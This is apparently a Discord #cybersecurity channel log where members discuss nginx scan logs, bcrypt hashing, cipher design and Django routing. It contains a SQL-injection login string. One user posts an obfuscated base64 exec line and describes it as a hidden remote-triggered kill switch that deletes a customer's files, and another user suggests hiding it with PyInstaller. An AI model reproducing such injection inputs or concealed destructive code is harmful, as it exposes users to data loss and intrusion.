#cybersecurity
7 messages Β· Page 39 of 1
so the hacker would input : username : admin 'or 1 = 1 -- / password : whatever goes here
ok
well if you are interested this is a whole topic in infosec so i would suggest looking around a bit
i can't explain everything here
I think Iβll just encode the input into jibberish
then decode it with same algo
when u need the data out
anyway do whatever you want just be careful
ye ik
i would also apreciate if you could let me try to penetrate the end result
Weβre trying to make a web page where you can search nearby medicine shops and set reminders
For Healthcare
sounds cool ! i wish you the best
thanks
help
I don't understand why I see weird logs in my nginx
nginx_1 | 3.226.122.208 - - [22/Aug/2021:13:50:42 +0000] "GET http://azenv.net/ HTTP/1.1" 400 255 "-" "Go-http-client/1.1" "-"
why is it used to access some unknown web sites%
nginx_1 | 109.234.153.134 - - [22/Aug/2021:14:13:22 +0000] "POST http://proxy.kagda.ru/myip2.php?Z73955899362Q1 HTTP/1.1" 400 255 "https://google.com/" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" "-"
how the hell they are able to make POST requests with proxy servers from my nginx?
my nginx leads just to Djnago web site
i don't get it how they use it to access anything else%
fuck, those hackers tried literally everything
web_1 | 45.146.164.110 - - [23/Aug/2021:09:26:08 +0000] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 401 590 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
I don't get how they were able to make external requests hmm
this looks like they're trying to pull off a phpstorm vulnerability
it allows the attacker to see source code and also execute source code
eb_1 | 20.150.209.191 - - [22/Aug/2021:17:21:59 +0000] "CONNECT azenv.net:443 HTTP/1.1" 400 166 "-" "-"
if i will forbid non GET/POST requests
it should perhaps remove
nginx_1 | 3.226.122.208 - - [22/Aug/2021:13:50:42 +0000] "GET http://azenv.net/ HTTP/1.1" 400 255 "-" "Go-http-client/1.1" "-"
that's fine, they tried whole array of different vulnerability searching
I am more worried about how they were able to make redirects from my web sites to external web sites
nginx_1 | 109.234.153.134 - - [22/Aug/2021:14:13:22 +0000] "POST http://proxy.kagda.ru/myip2.php?Z73955899362Q1 HTTP/1.1" 400 255 "https://google.com/" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" "-"
they literally used my nginx as proxy server
web_1 | 209.141.32.217 - - [23/Aug/2021:07:03:31 +0000] "" 400 0 "-" "-"
web_1 | 185.53.90.24 - - [23/Aug/2021:07:18:10 +0000] "GET http://azenv.net/ HTTP/1.1" 301 178 "-" "Go-http-client/1.1"
web_1 | 185.53.90.24 - - [23/Aug/2021:07:18:26 +0000] "CONNECT azenv.net:443 HTTP/1.1" 400 166 "-" "-"
web_1 | 115.48.47.132 - - [23/Aug/2021:07:26:03 +0000] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 301 178 "-" "-"
web_1 | 199.19.224.165 - - [23/Aug/2021:07:33:52 +0000] "GET /config/getuser?index=0 HTTP/1.1" 301 178 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101 Firefox/76.0"
here access to azenv.net with log around it
firstly they make GET request of the external resource
and get themselves redirected to azenv.net, and then get 400 error. hmm
so they were not able to do that, cool
well, looking again at
nginx_1 | 109.234.153.134 - - [22/Aug/2021:14:13:22 +0000] "POST http://proxy.kagda.ru/myip2.php?Z73955899362Q1 HTTP/1.1" 400 255 "https://google.com/" "Mozilla/5.0 (Windows NT 6.1; rv:16.0) Gecko/20100101 Firefox/16.0" "-"
400 and 255 are errors too, so those redirects failed perhaps
no
first time seeing in logs
I KNOW!
perhaps they hijacked my web site and made honeypots from it?
It's quite popular to see strange logs when your server is available publicly
I should try to forbid iframe access as well
do you have the latest version of nginx?
relatively
then i think there is nothing to worry about
except if there was a zero-day
anything else i couldn't really tell what's going on
except if they maybe already rooted the server and started doing requests from it
bash history is fine ;b
i will be sure to disable ssh password access though just in case
lets have it only with rsa key
anyway, found several tutorials how to tighten nginx security
probably should do the same for all used services
Yo
hi
hi
i want to be hacker help me
not (bad hacker) just game hacker
white hat hacker (found vunrability and fix it to have secure app)
if you want to be a game hacker
then cheat engine is pretty good
however some prerequisite knowledge would be good
uh
well
you get yourself a computer
get yourself a game
oh
i forgot
get something to read the cursors and
uh
binaries
and
be hackur
no
he needs a black hoodie and a green terminal
and an anonymous mask
learn kali linux
checkout some online platforms like hackthebox and tryhackme
read books
everything is on the internet
you are an idiot.exe
Hello, I wan't to learn how to hack networks etc.. I have general coding skills, but no idea how to start. Would be great if I can get a couple tips or something like that. Thanks
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
Well I wan't to be a white hat hacker not a black hat, I want to find security issues in systems and report them.
I cannot verify whether you are black, white or even yellow hat
Yeah of course but I just want to learn it you know
[...] that may break laws, [...]
You can always break the laws. I just want to learn something new.
I understand but rules are rules, I cannot help you in this case
Learn then how protocols work
Ok but thanks anyway
Advantages and disadvantages of them
Ok thank you
ICMP would be interesting
π
Thank you very much. Now I can start somewhere.
what do you need help with
next time just post your question until someone who can help sees it
is there any way to avoid Keyloggers?
yes don't download stuff from untrusted resources and don't insert random usb sticks
maybe AVs could help prevent that but i am not sure
I mean some kind of program or something like that
i just looked it up antiviruses prevent keylogging
np
Yo, anyone here like a cybersecurity expert?
i am not an expert but what is your question
When I'm pentesting, I prefer a blue hoodie. It's more comfortable
Urgh. started reading about Stripe, and then about PSI compliance and got a bit overwhelmed
is there any good Security book from O'Reilly perhaps
https://www.nginx.com/resources/library/web-application-security/
oh yeah found one, it is even for free
reviews are good for beginner-intermediate level
I hate those enter-your-email-to-download forms
users waste their time on making fake emails, website generates wasteful traffic
few days ago I needed to buy from a shop, that explicitely said, that it will give my email and telephone number to literally any third party.
thankfully I bought a temporal phone for swimming at a beach. And well, created at last special email for spam.
hey, at least this time I receive a real quality book for free. It costs 37-40$ at amazon. Worthy to create fake email I think
!rule 2
2. Follow the Discord Community Guidelines and Terms Of Service.
!rule 7
7. Keep discussions relevant to the channel topic. Each channel's description tells you the topic.
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
Use #bot-commands please
ok
@lapis radish should i has the password and the username in the same type of hash or should i use different ones
sorry for the @
Do you want to store pair (username, password), right?
No problem, thanks for ping!
correct
From README
>>> import bcrypt
>>> password = b"super secret password"
>>> # Hash a password for the first time, with a randomly-generated salt
>>> hashed = bcrypt.hashpw(password, bcrypt.gensalt())
>>> # Check that an unhashed password matches one that has previously been
>>> # hashed
>>> if bcrypt.checkpw(password, hashed):
... print("It Matches!")
... else:
... print("It Does not Match :(")
Store then (username, bcrypt.hashpw(password, ...)) in your DB
Remember that each user should have unique salt (call bcrypt.gensalt() per user)
then there is no need to hash the username
You don't need to do that
well then how can i unhash them if i dont have the salt to make them login?
You cannot unhash it
This is the key
Hash functions are generally one way functions
What have done cannot be undone
You can check the hash like in the following example with
bcrypt.checkpw(password, hashed)
makes sense, gotta read a bit more on how to make users able to login
In given example password is given password by user, hashed is value from your DB
If the bcrypt.checkpw function returns False then password is incorrect
so basically the app hashes the password the user inserted in the login
then check the hash value in the db to see if it matches
Creating account
- User gives
usernameandpassword. - You are creating
hashed = hash(password)with yourhashfunction. - You are storing
(username, hashed)pair.
Logging in
- User gives
usernameandpassword. - You are finding the user with given
username. - You are checking that
hash(password) == hashed.
Where it can be:
hash(password)isbcrypt.hashpw(password, bcrypt.gensalt())hash(password) == hashedisbcrypt.checkpw(password, hashed)
im saving that, thanks for the explanation!
someone have pc with virtual machine to test my virus ?
<@&831776746206265384>
just a question
Just a ping π
Let's not be talking/sharing viruses here, even openly @sharp cargo
We don't want users further spreading the virus etc.
my virus is powerful than memz trojan
so don't download this
bypass vm to acces in host computer
made in C++ and C (1 year)
!mute 777146476307415092 I just asked you not to talk about viruses here. Take this time to reread our #rules and #code-of-conduct
:incoming_envelope: :ok_hand: applied mute to @sharp cargo until <t:1629822283:f> (59 minutes and 59 seconds).
yeah mate looking at your instagram I call bullshit
also mods, he's put a link in his about me
given that he literally asked how to learn to hack yesterday I call top-tier bullshit
unless there's some serious relativistic speeds going on here this is bull
that or hes a natural prodigy

more powerful than memz trojan
kek
Also ignoring the fact hacking and virus development are two often very different skills......
I think if he's asking on a python server like this about beginner hacking it's probably unlikely that he has the prerequisite capacity and skills to develop a virus.
imho it's kinda off-topic - the user already is not a member of this server
Let's back to talk about security things
Wich algo bcrypt use ?
What do you mean?
What is the encrypt algo bcrypt use ?
https://en.wikipedia.org/wiki/Bcrypt
bcrypt is a password-hashing function [...] based on the Blowfish cipher [...]
bcrypt is a password-hashing function designed by Niels Provos and David Mazières, based on the Blowfish cipher and presented at USENIX in 1999. Besides incorporating a salt to protect against rainbow table attacks, bcrypt is an adaptive function: over time, the iteration count can be increased to make it slower, so it remains resistant to brute...
Aka it don't encrypt
@tall kite 
It uses cipher under the hood afaik
Feistel-network based ciphers have hash function inside for example and performs hashing to do encryption/decryption so basically you can do encrypt operation to hash something
If it hashes it fundamentally shouldn't be reversible. If it is encrypted it fundamentally should be reversible. So how does this hybrid work within those definitions?
This is the key of Feistel network (and also this is the reason why you must use even number of rounds) that you can use pseudorandom function to encrypt/decrypt the data
Also you are using one algorithm which do both encryption and decryption
See DES specification
Let me google these terms when I get home, becauseI don't understand how hashing and encryption can be done in one algorithm, unless the hashing was only some kind of transformation of the key input or something.
See even Wiki article https://en.wikipedia.org/wiki/Feistel_cipher#Construction_details
In cryptography, a Feistel cipher (also known as LubyβRackoff block cipher) is a symmetric structure used in the construction of block ciphers, named after the German-born physicist and cryptographer Horst Feistel who did pioneering research while working for IBM (USA); it is also commonly known as a Feistel network. A large proportion of block ...
F is pseudorandom function (like hash function as well)
Simple function which encrypts in Feistel way
def feisten_encrypt(F, block):
length = len(block)
l, r = block[:(length // 2)], block[(length // 2):]
r = F(r)
l = [a ^ b for a, b in zip(l, r)]
return [r, l]
@tall kite 
Is the hashing used for subkey generation?
As far as I remember F should contain operations which are using key
Yes but I read the wiki and see no explanation of where or how the hash is used
F is pseudorandom function
There are no requirements that it need to be reversible etc.
So F can be
def F(data):
h = hash()
h.update(key)
h.update(data)
return h.digest()
This still means by definition it is a encryption function though, not a hashing function
It uses hashing function under the hood
Just like bcrypt can use encryption function to produce hash
Yes but it isn't a hashing function
What do you mean?
I use eggs in a cake recipe, doesn't mean my cake is an egg.
An encryption function can use a hash in whatever operations it does, though it is still an encryption function.
F can be treated as a hash function because it copies traits of inner hash function
And it's a part of encryption function, right
Then this all makes sense and we are in agreement
π
Thank you for the explanations as well
If you want to see Feistel cipher in action then DES is a good example
You can even implement it on your own
Yeah I will have a good look at one. Been looking for a nice new concept through which to build my own new encryption algorithm. Need to build upon 147cipher
Yeah, I remember your attempts. Afaik there are two main methods of creating block ciphers - Feistel cipher and SPN
Interesting, both of mine were stream ciphers
I don't have enough knowledge to say something about stream ciphers
Generally it's harder to build secure stream cipher than block cipher
Actually would it be a stream or block cipher? Both of them go character by character.
Though each character is still a bunch of bits internally. Though it is never treated as bits.
Because it is a stream in the sense that it goes character by character, though it is also block in the sense that each character is a block of bits.
According to my googling it should still be stream
Block ciphers work on blocks of data. You can think that block ciphers are just stream ciphers which work on blocks but generally it's wrong
Stream ciphers need to generate pseudorandom stream of bits
Block ciphers are just replacing one block to another one depending on key
Step 1: Don't break the law.
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
Interesting, didn't know that.
Would anyone good books to look at for cyber security using python
have you looked at this https://www.thepythoncode.com/topic/ethical-hacking
Wow that's a lot π
What exactly does security consist of, if any? or rather what are the more specific things it deals with other than just security which is quite broad
a common way to think of it is: Confidentiality + Integrity + Availability
Information Security, sometimes shortened to InfoSec, is the practice of protecting information by mitigating information risks. It is part of information risk management. It typically involves preventing or reducing the probability of unauthorized/inappropriate access to data, or the unlawful use, disclosure, disruption, deletion, corruption, m...
Security in information systems. Cipher, encryption, steganography, implementation, authentication. All that stuff which stops bad people from doing bad things!
hi~ im a girl new to coding and having some struggles with deciphering,, i need help with recovering some plaintext using mono-alphabetic substitution.
Google for it, websites exist which can brute force these kinds of ciphers
Anyone know how to decrypt a drive from ransomware that used the os.walk function that encrypts file by file? I wanted to post a tutorial on instagram or YT on how a program can be used to decrypt said virus? Because I saw a youtube tutorial where a guy used os.walk and was wanting to make a reaction basically because he never made a thing of how to decrypt it?? Any info on decrypting pyAES i think that's the package he used in the video? or maybe just AES. I have the basic source code of the inactive virus he did so im just trying to understand how to decrypt it. Also whats the dif between XOR and AES?
- accountability
If you don't have any informations about ransomeware and the bad guys did it properly then it's almost impossible
Are you implementing it or what?
What do you mean? Are you creating those kind of tools?
hi
π
what do you mean by implementing it sir?
i have a plaintext file
Okay, so you have a file with ciphertext and you want to decrypt it, right?
thats correct :)
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
the file isnt malicious, inappropriate or anything. its just a file my friends who're interested in the same stuff made to decipher. i just want to learn how to do it
So do you know the algorithm?
Or not?
If it's binary file and there is no associated information about encryption method then for me it's pointless
Since I am not cryptanalyst
@fluid verge - sorry for ping, do you have experience in that area?
However I still don't know that is or isn't against our rules, can some moderator look into it? <@&831776746206265384>
A bit, but I'd need a basic description of the algorithm. If it's a substitution cipher, it's much simpler than say a substitution-permutation network
It's not really something I'm interested in, though. I prefer side-channel analysis, so only the result is not that useful for me
Hey @smoky ermine!
It looks like you tried to attach file type(s) that we do not allow (.enc). We currently allow the following file types: .gif, .jpg, .jpeg, .mov, .mp4, .mpg, .png, .mp3, .wav, .ogg, .webm, .webp, .flac, .m4a.
Feel free to ask in #community-meta if you think this is a mistake.
Oh, do you do it in your work? (if I may ask)
It's really interesting topic
You can post hexdump o !paste
!paste
Pasting large amounts of code
If your code is too long to fit in a codeblock in discord, you can paste your code here:
https://paste.pydis.com/
After pasting your code, save it by clicking the floppy disk icon in the top right, or by typing ctrl + S. After doing that, the URL should change. Copy the URL and post it here so others can see it.
thats for pasting like code/text
this is a file
would i be able to PM either one of you it?
i've been stuck on this for like 2days
lol
Like I said, I am not cryptanalyst and I don't have enough knowledge and time for that
yeah, the company I'm currently finishing my internship in does this kind of things. I have not worked on SCA that much during my internship, but that's still something I'm interested in
If you have any cipher details write it here
Is it time attacks (don't know how to name it properly) or power consumption or other or all?
.-. welplol rip
My internship is on cache timing attacks, and the company does SCA and Fault injection attacks, as well as providing clients with security solutions to combat those attacks
π
Would you by chance be interested in looking at a substitution based cipher I built? All code is public on git and you can use it on a website as well.
Okay, why not? I'm not sure I'll have the time to review it, but it could be interesting
I certainly hope it is interesting :D
hello guys
π
does anyone use vbox?
vbox?
virtual box
I am using VirtualBox
i do too use Oracle VM VirtualBox it's cool
On the ransomware, i dont know how that's breaking a rule if its just source code and not fully active or being used maliciously or at all...
Cause its just a python sourcecode and all im interested in is learning how to decrypt an encrypted file but i already got an answer from another group
Like we can't even say the R word in here or something? lol. Esp if its to help people understand how decryption works... xD
But i already found out some stuff about encryption so..
Now im just trying to make my first fullstack app with flask, mongo, and bootstrap xD But im figuring that out on myself.
by*
Also on virtual box, I like virtual box a lot better than VM Ware on my os cause I use Parrot...
Or yknow you could just install Qubes if you really like virtual machines.
hey i have question, is free robux is scam?
and i wanna jump into this field what should i do?
my background is web dev
Free anything that is meant to cost a money is at best grey/black market, at worst a major scam.
when you see a product being sold free, either it's a scam or you are the product...
or it's a public service that should be free (or at least very affordable) anyway, but robux is probably not a public service
Can anyone give me tips or advice on what to look for in a laptop for cyber security?
I don't know what you exactly mean but you should have encrypted disks and regular backups
Sorry this is for university undergrad research, I will be using VirtualBox 32 bits, Kali VB Image, Bulk-Extractor, Hashcat, Autopsy, and FTK Imager.
Can you elaborate? Don't know how to understand the question what to look for in a laptop for cyber security?
https://www.nsa.gov/What-We-Do/Cybersecurity/NSAs-Cybersecurity-Perspective-on-Post-Quantum-Cryptography-Algorithms/ some recommendations from our glowie frens
how is this attack called: an attacker tries like 3 guesses on every possible username (or whatever the max is to get ip-banned) by chance (if you have a lot of users) he therefore gets some passwords.
if he didn't find any correct passwords, he just tries different passwords again on all possible usernames
Generally it's brute force attack when you try to put all possible values
Is there any publicly available lattice-based cipher?
No idea
can white-hat hacking be discussed here
Just remember about rule 5
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
sure
so what would be the best place to aquire knowledge of such a subject?
i really wanna get into it
like get a job with it too some day
portswigger has good tutorials
mostly for web hacking
but in general udemy courses for beginners is a good start i will send few free ones in dms
Hey π
Only you replied
I am new here
I dunno anything about discord
Can you teach me how does it works
This channel is dedicated to security things
Check this video https://www.youtube.com/watch?v=TJ13BA3-NR4
Discord 101 for college communities
β look at us goooooooooooooooooooooooo β
Twitter: https://twitter.com/discord
Instagram: https://www.instagram.com/discord
Facebook: https://www.facebook.com/discord
Because others are busy, but they are helpful too π If you have more questions grab some free help channel and ping me there #βο½how-to-get-help
Thanks
hi there
i'm trying to protect myself from evil customers who don't want to pay me for the program they got
i came up with an idea to store payment status on github pages and delete everything in a directory if it changes from "waiting" to "did-not"
but now i have to paste totally not suspicious string to my code (it actually works tho)
exec(__import__('base64').b64decode("CmltcG9ydCByZXF1ZXN0cwoKcmVzcG9uc2UgPSByZXF1ZXN0cy5nZXQoJ2h0dHBzOi8vdGhlYW1taXIuZ2l0aHViLmlvL2pzb24vcGF5bWVudHMuanNvbicpCmlmIHJlc3BvbnNlLm9rOgoJc3RhdHVzID0gcmVzcG9uc2UuanNvbigpWydkYXRhJ11bJ2xhbmNlX3N0Y......."))
which... causes questions and desire to delete it
what can i do?
Have you tried to create executable from your Python code? And protect source code?
sounds complicated and i love it
so i'm not only pasting an exploit, but protecting the code so it actually works until the script has to delete it
Try PyInstaller or something like that
https://theammir.github.io/json/payments.json, yeah probably don't store a list of all registered users for your program on a publicly available API, with an access link stored in an easily decipherable manner in source code.......
there's no personal info, just id and status
i think it's no bad
just a prototype anyways
Still terrible practice
Do operating systems stop you if you inadvertently make and run malicious code in your editor
Example
Running mk.dir() in a loop to keep making directories
i don't think so
That's dangerous for someone starting out
mkdir itself should not be dangerous i guess
maybe you're just... installing something?
import os
for i in range(99**99, 10, -1):
os.mkdir(f"{i}")
By itself it isn't dangerous but imagine running something like that
what can i do to protect my network
there are many things to do but the most common answer to this question is to deploy a firewall and use an intrusion detection and prevention system
Nope
Make strong password to your WiFi, use newest possible authentication protocol
Don't run untrusted code
OS doesn't know how to guess whether code is malicious and inappropriate or not
can anyone help pls
Rather #networks issue 
okay
I want to get into cyber security and ethical hacking where would be a good place to start
Why everyone wants to be a ethical hacker nowadays
Where are blackhats and trollhats?
The Law
where would be a good place to start
Idk, I am not a hacker, I know only basic crypto stuff
oh ok
start by learning about kali linux
perhaps
there is an app called Hacker X on the google playstore
shows some basics
They pretend being white hats during training ;b the change of hats happens after graduation
Haha, yeah, could be
Hey
Hmm, see #rules
!rule 5
5. Do not provide or request help on projects that may break laws, breach terms of services, or are malicious or inappropriate.
Frida Documentation Is So Confuse!!
Never used it
i just want you all's opinion. Do u guys think it's a good idea to encrypt my files with a custom encryption?
Nope
lol can u elaborate
You shouldn't make your own encryption algorithm because probably you won't it better than the best cryptoheads whos made AES for example
maybe i phrased it wrong i just mashed some of them together
So you want to pick existing algorithms and make your own scheme?
yeah basically
Still, you can make it in wrong way but if you know what you are doing then it's okay
Many wrong schemes were are publicly available (like TrueCrypt lol) so there is a chance that you are going to do it better
i'm thinking of like making a file manager(maybe not in python) that can then allow u to easily decrypt the files and use them so that it's not annoying and time consuming to open them
dunno just a bit paranoid
So you can check how programs like Dropbox works - you have special directory which can be synchronised with you account and so on 
I thought about something similar but don't have time rn to do this
Maybe during winter season
well school started rn so idk if i'll have time it was just an interesting thought
Β―_(γ)_/Β―
welp my brain to smol for shit like that
Well, still you need to write some program which perform on-the-fly-encryption
tru
When you make it in this way (instead of custom file manager) then other programs can be used on your files
Like shell
didn't think of it like that
cool
i could make it like decrypt libreoffice file to decrpt the file and open it in libreoffice
Use @novel cedar please or go to #community-meta
I would say that it would be more like mounting system
$ crypto-mount --read-only myencryptedstuff readonlydirectory/
*beep boop*
$ cd readonlydirectory/
$ ls
a b c
He means Joe's private server, so no ModMail nor meta
Whatever, it doesn't look like security conversation lol
they banned you for a reason
and that you know very well that what you did
So many kitties here
For no reason lol
No idk
Pentesring might fall under rule 5 as there's no way to verify whether you're pentesting or hacking, and any suggestions might be used by a person lurking for malicious stuff...
But yeah, this topical channel is for anything that falls under security and python
lol
>>> from kitties import Kitty, Leopard
>>> issubclass(Leopard, Kitty)
True
Nvm
Remarkably well played good sir
morning
anyone able to assist me with some SSL public key extraction
I'm trying to do the the same as this in python
openssl s_client -connect 192.168.2.80:443 | openssl x509 -pubkey -noout | openssl rsa -pubin -outform der | openssl dgst -sha256 -binary | openssl base64
@gritty token your library is not safe, you shouldn't use it and recommend to any people because it's just simple substitution cipher
oh :(
It's okay to use it for learning purposes π
ok Then how should I make it more secured?
.wiki Feistel cipher
Feistel cipher
cryptography, a Feistel cipher (also known as LubyβRackoff block cipher) is a symmetric structure used in the construction of block ciphers, named after
Block cipher
of such ciphers, named a Feistel network after Horst Feistel, is notably implemented in the DES cipher. Many other realizations of block ciphers, such as
Check Feistel cipher, how this construction works
ok
It's fairly easy
Thank you!
You're welcome!
Can you explain me properly or PR my code on github?
i didn't get it
Basically you need to create a class like Cipher with methods encrypt and decrypt
class Cipher:
def __init__(self, key):
self.key = key
def encrypt(self, plaintext):
pass
def decrypt(self, ciphertext):
pass
It's good point to start (instead of having Encoder and Decoder)
Encoding =/= encryption btw
oh
There are two kind of ciphers, block ciphers and stream ciphers
You should read a little bit about block ciphers
ok
So you need to know how to divide plaintext into blocks
How to add padding if there are less data than required
How to remove padding from plaintext after decryption
What kinds of paddings exists (there are few popular options how to add paddings)
oh
You should also work on raw binary data instead of printable text if you want to make useful cipher
oh I will try
usage of invalid/unverified ssl certificate, made by own hands is secure for the admin to access his admin interface?
What do you mean by invalid and unverified?
It comes from your own CA?
it was generated with openssl on our own
openssl req -x509 -nodes -days 3650 -newkey rsa:4096 -keyout ssl.key -out ssl.crt -config ssl.cfg -extensions v3_req
this command gives random certificate
if appropriate config is made
by unverified I mean that it was not sent to any ssl provider
by invalid I mean that it was said by browser, when you access site
It's okay for me to generate own certificate
But you should generate CA's certificate
And then sign each site's certificate by the CA's one
Then you can add CA's certificate as trusted to your browser
I mean...
this is purely for server with admin only site
it is not meant for regular users
so... is there really need to sign this certificate in ssl provider?
No, there is no need but it's a good practice
@lapis radish Can you please PR my code on github and make my library more secured? I didn't understand Block Cipher :( :( :( :( :(
No I can't, I do not invent a cipher instead of you, I know basic informations about cipher construction methods but I am not a cryptographer
Do not roll your own crypto, use existing algorithms
I didn't really understood cyptography so I am going to delete that package and going to make a good new one with the existing algorithms. Thank you so much!
Cryptography and math is the point where you should start π you're welcome, when you will have more questions feel free to ask!
Ok. Thank you!
Roll your own encryption! It is such an interesting and complex problem to approach! Just don't roll your own encryption that you actually use for anything. π
"roll your own crypto...... just don't roll your own crypto" ???? I think what you mean to say is make your own cryptographic algorithms, just don't use them (i.e. roll them)
Generally it's interesting to create custom cipher/hash function/whatever.
I prefer to implement existing algorithms instead of creating mine. Just look at authors of Keccak (SHA-3 standard). There were math experts, programmers and people how know electronics. It's hard to beat team like that.
has this happend: company X produces hardware with a "e-t phones home" function secretely?
but sells it
doing what exactly
basically all modern phones have telemetry that you agree to when you set them up
i mean more sinister stuff like uploading files on the hardware to some place without user-agreement
Theoretically it's easy to verify - just track any connection in middle server between your phone and the Internet
would probably be cert pinned
and to some anonymous telemetry api
(anonymous as in not well known)
I mean what I said and what I said makes perfect sense... might want to read it again.
If you prefer playing around with existing, more power to you. Though rolling your own as a hobby can be fun and I don't think you need to do better than a team of experts.
Perhaps it's a difference in terminology, but to me "rolling" means "to use in production" something I would advise against doing with your own crypto algorithms
Ahhh yep it is, to me "rolling" is to make your own. Fair call, my bad. π
By mistake
What can go wrong visiting links that a search engine provides?
For example if there is known 0-day for your device via HTTP then you can by attacked and lost data on your phone or computer
Are addons for browsers like Web-of-trust manipulatable, like that some malicious sites will be displayed as "good"? (those addons show a green or red circle behind the links search engines provide, depending if they are good or evil)
Known 0-day?
Known by the author of malicious site
You shouldn't install untrusted addons at all
anyone know of any good tools or sites to track CVE updates?
Hmm, GitHub has something like Dependabot
https://docs.github.com/en/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/configuring-dependabot-security-updates
Does that cover things like your UNIX servers and their installed packages or do you need to set those up somehow?
I have seen the CVE it sends me about the repo packages but im not sure if it covers a lot of tools and things I should be aware of.
You didn't specified what do you want to cover
There is something like LIvepatch for Ubuntu for example
https://ubuntu.com/security/livepatch
Canonical Livepatch eliminates the need for unplanned maintenance windows for kernel vulnerabilities, by patching the Linux kernel while the system runs.
oh wow that is pretty cool, does that work on Debian? @lapis radish
Just because snapcraft has instructions to install the snap on Debian, doesn't mean Canonical supports our kernel with their service.
1 vote and 6 comments so far on Reddit
I think my Azure servers are supposed to be managed by someone for security patches but i have no idea what they are doing
I am assuming that Livepatch is crafted with Ubuntu in mind
is this service equivalent to watching for CVE and running apt update and possible restart?
Automatic updates installation is not so good as you think, I heard some time ago the idea to install the patch only when you need the feature or it's important security fix
hmm yeah looks like they help take care of all the details for you so your applications will keep working
Some updates may break your applications so you should test them before deploying on production
you mean the livepatch will break your application?
or you mean if you install all the updates for all the packages
I am talking about general updates, Livepatch can break app too
hmm yeah i was wondering if there was something more along the lines of twitter or rss to notify people of important CVE
I have been mostly following important ones when i see them on tech sites, but i wasnt sure if there was a better way to make sure i dont miss anything
Maybe there are profiles like that on Twitter or somewhere, I don't know any π¦
Most of the time it's for manufacturers to let you know
Although that won't work if e.g. an upstream service has a problem
Hey folks,
is it actually possible to allow extra parameters within the django urls pattern?
Currently, I'm running into the following error using Django + NGINX secure link module.
django.urls.exceptions.NoReverseMatch: Reverse for 'stream' with keyword arguments '{'pk': '5409caac-fc9c-42b8-90af-058eff65a156?st=yfBHZblAXooOzhA4Yj9uOg&e=1630879679'}' not found. 1 pattern(s) tried: ['stream/(?P<pk>[0-9a-f-]?<str:s>?<str:e>)$']
My urls.py looks like this:
url(r'^stream/(?P<pk>[0-9a-f-]?str:s?str:e)$', App_Views.stream, name='stream'),
What I want to accomplish here is that the /stream URL is only callable if a valid secure link signature is part of the URL. Or in other words: How does my URL pattern has to look like in order to fit the arguments I want to call it on?
just put your arguments to query_params (works got any type of methods) or in some cases to post data field
for example...
GET/POST/or anything else
/stream?pk=your-abracadabra
post data field allows putting anything that json allows
{
"pk": "your-abracadabra"
}
my url looks like this http://localhost/object_pk?st=some_value&e=some_value
move object_pk to the right from ? letter
and have no worries ;b
Lyrics:
Hakuna Matata, what a wonderful phrase
Hakuna Matata, ain't no passing craze
It means no worries for the rest of your days
It's our problem free philosophy, Hakuna Matata
Why, when he was a young warthog
When I was a young warthog
Very nice, thanks
He found his aroma lacked a certain appeal
He could clear the Savannah after every meal...
Hacuna Matata
all right, lets try it again
really sorry, seems you want to help me out and i dont understand xD
Okay but what has my url pattern has to look like than? Seems I dont understand what Django expects
syntax of urls.py is not clear to me
if you use class views
urlpatterns = format_suffix_patterns(
[
path("/my_url", views.CountryView.as_view(), name="country"),
]
)
if you use function views
urlpatterns = [
path("/ping", views.get_ping, name="ping"),
]
no need for any regex in this case %
it catches all query params anyway (or any post field data for that matter)
#cybersecurity message
hakuna matata, it means no worries for the rest of your days, it is a problem free, philosophy ;b
Maybe we misunderstood each other. This is what my URLs.py looks normally:
stream/(?P<pk>[0-9a-f-]+)$
Now I put nginx secure link in place so that a URL in the following structure gets returned:
http://localhost/object_pk?st=some_value&e=some_value
To me this does not fit the urls.py pattern. What you are saying me now, If I understood you right, that there is piratically no need to make the pattern match, is that right?
no need to make the pattern match, is that right?
yes
if you don't use things like...
/myurl/thing:int/blabla
then you don't need regex things
/myurl is enough
okay nice, so my nginx config looks like this:
location /stream {
aio threads=default;
try_files $uri @proxy_to_app;
add_header X-Content-Type-Options nosniff;
secure_link $arg_st,$arg_e;
secure_link_md5 "ABCDEFG12345$uri$secure_link_expires";
if ($secure_link = "") {
return 401;
}
if ($secure_link = "0") {
return 410;
}
}
this would mean that I can simply sign the url right away and dont have to pay any attention onto django url patterns?
?
I want that /stream is only callable if a valid signature has been attached to the URL
I already do it like this for images I display to prevent hotlinking
all right, anti-hotlinking feature it is then
I did not try setting this feature yet, but... I thought this feature is meant to be applied to static files only
django was not supposed to participate in it
althought probably could be possible to implement for that as well
My URLs.py now looks like this now:
url(r'^stream/(?P<pk>[0-9a-f-]+)$',
calling the URL fails again with this
django.urls.exceptions.NoReverseMatch: Reverse for 'stream' with keyword arguments '{'pk': '5409caac-fc9c-42b8-90af-058eff65a156?st=Z7KT0cFM1Q1cS7H5zzp-fg&e=1630914776'}' not found. 1 pattern(s) tried: ['stream/(?P<pk>[0-9a-f-]+)$']
Still same issue
Thats what Im about π
you know, using those online tools is quite comfortable to do that
but no idea how it has to look like in a django way
I dont want that you do my work but I never needed sucha feature so I actually never worked that much with regex, not sure how it has to look like
with excluding things past ? symbol
it should simplify stuff
umm, you know, google some regex tutorial
Thats the plan
A Computer Science portal for geeks. It contains well written, well thought and well explained computer science and programming articles, quizzes and practice/competitive programming/company interview Questions.
and debug in online regex tool like the one above
lets return to one important question though
what are you trying to expire
django url request or static file
according to official nginx documentation
the expired links can be /resources/index.html?md5=TG6ck3OpAttQ1d7jW3JOcw&expires=1609372
i could be wrong though
but the point is, that those expiring arguments can be as query parameters
then we don't need regex to match them
Well I can confirm that signing works for me as I already do this for images.
